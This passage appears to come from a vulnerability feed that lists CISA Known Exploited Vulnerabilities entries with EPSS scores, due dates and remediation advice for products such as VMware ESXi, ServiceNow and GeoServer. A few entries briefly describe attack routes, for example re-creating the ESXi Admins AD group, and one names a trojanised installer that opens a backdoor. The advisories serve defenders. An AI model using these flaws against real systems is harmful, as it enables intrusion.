via a specially crafted file or script. EPSS 73.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0824&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0824&date=2026-10-25 CISA added this entry on 2024-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 5, 2024; federal due date Aug 26, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware ESXi Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2024-37085 VMware ESXi Authentication Bypass Vulnerability (Jul 30, 2024). VMware ESXi contains an authentication bypass vulnerability. A malicious actor with sufficient Active Directory (AD) permissions can gain full access to an ESXi host that was previously configured to use AD for user management by re-creating the configured AD group ('ESXi Admins' by default) after it was deleted from AD. EPSS 26.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37085&date=2026-10-25). Sources: CISA KEV entry CVE-2024-37085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37085&date=2026-10-25 CISA added this entry on 2024-07-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 30, 2024; federal due date Aug 20, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Acronis Cyber Infrastructure (ACI) Insecure Default Password Vulnerability https://kevwire.com/record/CVE-2023-45249 Acronis Cyber Infrastructure (ACI) Insecure Default Password Vulnerability (Jul 29, 2024). Acronis Cyber Infrastructure (ACI) allows an unauthenticated user to execute commands remotely due to the use of default passwords. EPSS 53.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-45249&date=2026-10-25). Sources: CISA KEV entry CVE-2023-45249: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-45249&date=2026-10-25 CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 29, 2024; federal due date Aug 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ServiceNow Incomplete List of Disallowed Inputs Vulnerability https://kevwire.com/record/CVE-2024-5217 ServiceNow Incomplete List of Disallowed Inputs Vulnerability (Jul 29, 2024). ServiceNow Washington DC, Vancouver, and earlier Now Platform releases contain an incomplete list of disallowed inputs vulnerability in the GlideExpression script. An unauthenticated user could exploit this vulnerability to execute code remotely. EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-5217&date=2026-10-25). Sources: CISA KEV entry CVE-2024-5217: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-5217&date=2026-10-25 CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 29, 2024; federal due date Aug 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ServiceNow Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2024-4879 ServiceNow Improper Input Validation Vulnerability (Jul 29, 2024). ServiceNow Utah, Vancouver, and Washington DC Now Platform releases contain a jelly template injection vulnerability in UI macros. An unauthenticated user could exploit this vulnerability to execute code remotely. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4879&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4879: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4879&date=2026-10-25 CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 29, 2024; federal due date Aug 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Twilio Authy Information Disclosure Vulnerability https://kevwire.com/record/CVE-2024-39891 Twilio Authy Information Disclosure Vulnerability (Jul 23, 2024). Twilio Authy contains an information disclosure vulnerability in its API that allows an unauthenticated endpoint to accept a request containing a phone number and respond with information about whether the phone number was registered with Authy. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-39891&date=2026-10-25). Sources: CISA KEV entry CVE-2024-39891: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-39891&date=2026-10-25 CISA added this entry on 2024-07-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 23, 2024; federal due date Aug 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Use-After-Free Vulnerability https://kevwire.com/record/CVE-2012-4792 Microsoft Internet Explorer Use-After-Free Vulnerability (Jul 23, 2024). Microsoft Internet Explorer contains a use-after-free vulnerability that allows a remote attacker to execute arbitrary code via a crafted web site that triggers access to an object that (1) was not properly allocated or (2) is deleted, as demonstrated by a CDwnBindInfo object. EPSS 78.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-4792&date=2026-10-25). Sources: CISA KEV entry CVE-2012-4792: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-4792&date=2026-10-25 CISA added this entry on 2024-07-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 23, 2024; federal due date Aug 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware vCenter Server Incorrect Default File Permissions Vulnerability https://kevwire.com/record/CVE-2022-22948 VMware vCenter Server Incorrect Default File Permissions Vulnerability (Jul 17, 2024). VMware vCenter Server contains an incorrect default file permissions vulnerability that allows a remote, privileged attacker to gain access to sensitive information. EPSS 13.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22948&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22948: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22948&date=2026-10-25 CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 17, 2024; federal due date Aug 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarWinds Serv-U Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-28995 SolarWinds Serv-U Path Traversal Vulnerability (Jul 17, 2024). SolarWinds Serv-U contains a path traversal vulnerability that allows an attacker access to read sensitive files on the host machine. EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-28995&date=2026-10-25). Sources: CISA KEV entry CVE-2024-28995: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-28995&date=2026-10-25 CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 17, 2024; federal due date Aug 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Commerce and Magento Open Source Improper Restriction of XML External Entity Reference (XXE) Vulnerability https://kevwire.com/record/CVE-2024-34102 Adobe Commerce and Magento Open Source Improper Restriction of XML External Entity Reference (XXE) Vulnerability (Jul 17, 2024). Adobe Commerce and Magento Open Source contain an improper restriction of XML external entity reference (XXE) vulnerability that allows for remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-34102&date=2026-10-25). Sources: CISA KEV entry CVE-2024-34102: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-34102&date=2026-10-25 CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 17, 2024; federal due date Aug 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### OSGeo GeoServer GeoTools Eval Injection Vulnerability https://kevwire.com/record/CVE-2024-36401 OSGeo GeoServer GeoTools Eval Injection Vulnerability (Jul 15, 2024). OSGeo GeoServer GeoTools contains an improper neutralization of directives in dynamically evaluated code vulnerability due to unsafely evaluating property names as XPath expressions. This allows unauthenticated attackers to conduct remote code execution via specially crafted input. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-36401&date=2026-10-25). Sources: CISA KEV entry CVE-2024-36401: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-36401&date=2026-10-25 CISA added this entry on 2024-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 15, 2024; federal due date Aug 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Rejetto HTTP File Server Improper Neutralization of Special Elements Used in a Template Engine Vulnerability https://kevwire.com/record/CVE-2024-23692 Rejetto HTTP File Server Improper Neutralization of Special Elements Used in a Template Engine Vulnerability (Jul 9, 2024). Rejetto HTTP File Server contains an improper neutralization of special elements used in a template engine vulnerability. This allows a remote, unauthenticated attacker to execute commands on the affected system by sending a specially crafted HTTP request. EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23692&date=2026-10-25). Sources: CISA KEV entry CVE-2024-23692: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23692&date=2026-10-25 CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 9, 2024; federal due date Jul 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Hyper-V Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-38080 Microsoft Windows Hyper-V Privilege Escalation Vulnerability (Jul 9, 2024). Microsoft Windows Hyper-V contains a privilege escalation vulnerability that allows a local attacker with user permissions to gain SYSTEM privileges. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38080&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38080: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38080&date=2026-10-25 CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 9, 2024; federal due date Jul 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows MSHTML Platform Spoofing Vulnerability https://kevwire.com/record/CVE-2024-38112 Microsoft Windows MSHTML Platform Spoofing Vulnerability (Jul 9, 2024). Microsoft Windows MSHTML Platform contains a spoofing vulnerability that has a high impact to confidentiality, integrity, and availability. EPSS 84.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38112&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38112: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38112&date=2026-10-25 CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 9, 2024; federal due date Jul 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco NX-OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-20399 Cisco NX-OS Command Injection Vulnerability (Jul 2, 2024). Cisco NX-OS contains a command injection vulnerability in the command line interface (CLI) that could allow an authenticated, local attacker to execute commands as root on the underlying operating system of an affected device. EPSS 4.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20399&date=2026-10-25). Sources: CISA KEV entry CVE-2024-20399: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20399&date=2026-10-25 CISA added this entry on 2024-07-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 2, 2024; federal due date Jul 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2020-13965 Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability (Jun 26, 2024). Roundcube Webmail contains a cross-site scripting (XSS) vulnerability that allows a remote attacker to manipulate data via a malicious XML attachment. EPSS 76.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-13965&date=2026-10-25). Sources: CISA KEV entry CVE-2020-13965: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-13965&date=2026-10-25 CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 26, 2024; federal due date Jul 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-2586 Linux Kernel Use-After-Free Vulnerability (Jun 26, 2024). Linux Kernel contains a use-after-free vulnerability in the nft_object, allowing local attackers to escalate privileges. EPSS 10.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-2586&date=2026-10-25). Sources: CISA KEV entry CVE-2022-2586: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-2586&date=2026-10-25 CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 26, 2024; federal due date Jul 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### OSGeo GeoServer JAI-EXT Code Injection Vulnerability https://kevwire.com/record/CVE-2022-24816 OSGeo GeoServer JAI-EXT Code Injection Vulnerability (Jun 26, 2024). OSGeo GeoServer JAI-EXT contains a code injection vulnerability that, when programs use jt-jiffle and allow Jiffle script to be provided via network request, could allow remote code execution. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24816&date=2026-10-25). Sources: CISA KEV entry CVE-2022-24816: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24816&date=2026-10-25 CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 26, 2024; federal due date Jul 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Progress Telerik Report Server Authentication Bypass by Spoofing Vulnerability https://kevwire.com/record/CVE-2024-4358 Progress Telerik Report Server Authentication Bypass by Spoofing Vulnerability (Jun 13, 2024). Progress Telerik Report Server contains an authorization bypass by spoofing vulnerability that allows an attacker to obtain unauthorized access. EPSS 97.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4358&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4358: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4358&date=2026-10-25 CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 13, 2024; federal due date Jul 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Error Reporting Service Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2024-26169 Microsoft Windows Error Reporting Service Improper Privilege Management Vulnerability (Jun 13, 2024). Microsoft Windows Error Reporting Service contains an improper privilege management vulnerability that allows a local attacker with user permissions to gain SYSTEM privileges. EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-26169&date=2026-10-25). Sources: CISA KEV entry CVE-2024-26169: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-26169&date=2026-10-25 CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 13, 2024; federal due date Jul 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Pixel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-32896 Android Pixel Privilege Escalation Vulnerability (Jun 13, 2024). Android Pixel contains an unspecified vulnerability in the firmware that allows for privilege escalation. EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-32896&date=2026-10-25). Sources: CISA KEV entry CVE-2024-32896: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-32896&date=2026-10-25 CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 13, 2024; federal due date Jul 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability https://kevwire.com/record/CVE-2024-4610 Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Jun 12, 2024). Arm Bifrost and Valhall GPU kernel drivers contain a use-after-free vulnerability that allows a local, non-privileged user to make improper GPU memory processing operations to gain access to already freed memory. EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4610&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4610: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4610&date=2026-10-25 CISA added this entry on 2024-06-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 12, 2024; federal due date Jul 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle WebLogic Server OS Command Injection Vulnerability https://kevwire.com/record/CVE-2017-3506 Oracle WebLogic Server OS Command Injection Vulnerability (Jun 3, 2024). Oracle WebLogic Server, a product within the Fusion Middleware suite, contains an OS command injection vulnerability that allows an attacker to execute arbitrary code via a specially crafted HTTP request that includes a malicious XML document. EPSS 96.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-3506&date=2026-10-25). Sources: CISA KEV entry CVE-2017-3506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-3506&date=2026-10-25 CISA added this entry on 2024-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 3, 2024; federal due date Jun 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Use-After-Free Vulnerability https://kevwire.com/record/CVE-2024-1086 Linux Kernel Use-After-Free Vulnerability (May 30, 2024). Linux kernel contains a use-after-free vulnerability in the netfilter: nf_tables component that allows an attacker to achieve local privilege escalation. EPSS 28.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1086&date=2026-10-25). Sources: CISA KEV entry CVE-2024-1086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1086&date=2026-10-25 CISA added this entry on 2024-05-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 30, 2024; federal due date Jun 20, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Check Point Quantum Security Gateways Information Disclosure Vulnerability https://kevwire.com/record/CVE-2024-24919 Check Point Quantum Security Gateways Information Disclosure Vulnerability (May 30, 2024). Check Point Quantum Security Gateways contain an unspecified information disclosure vulnerability. The vulnerability potentially allows an attacker to access information on Gateways connected to the internet, with IPSec VPN, Remote Access VPN or Mobile Access enabled. This issue affects several product lines from Check Point, including CloudGuard Network, Quantum Scalable Chassis, Quantum Security Gateways, and Quantum Spark Appliances. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-24919&date=2026-10-25). Sources: CISA KEV entry CVE-2024-24919: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-24919&date=2026-10-25 CISA added this entry on 2024-05-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 30, 2024; federal due date Jun 20, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Justice AV Solutions (JAVS) Viewer Installer Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2024-4978 Justice AV Solutions (JAVS) Viewer Installer Embedded Malicious Code Vulnerability (May 29, 2024). Justice AV Solutions (JAVS) Viewer installer contains a malicious version of ffmpeg.exe, named fffmpeg.exe (SHA256: 421a4ad2615941b177b6ec4ab5e239c14e62af2ab07c6df1741e2a62223223c4). When run, this creates a backdoor connection to a malicious C2 server. EPSS 26.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4978&date=2026-10-25). Sources: CISA KEV entry CVE-2024-4978: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4978&date=2026-10-25 CISA added this entry on 2024-05-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: 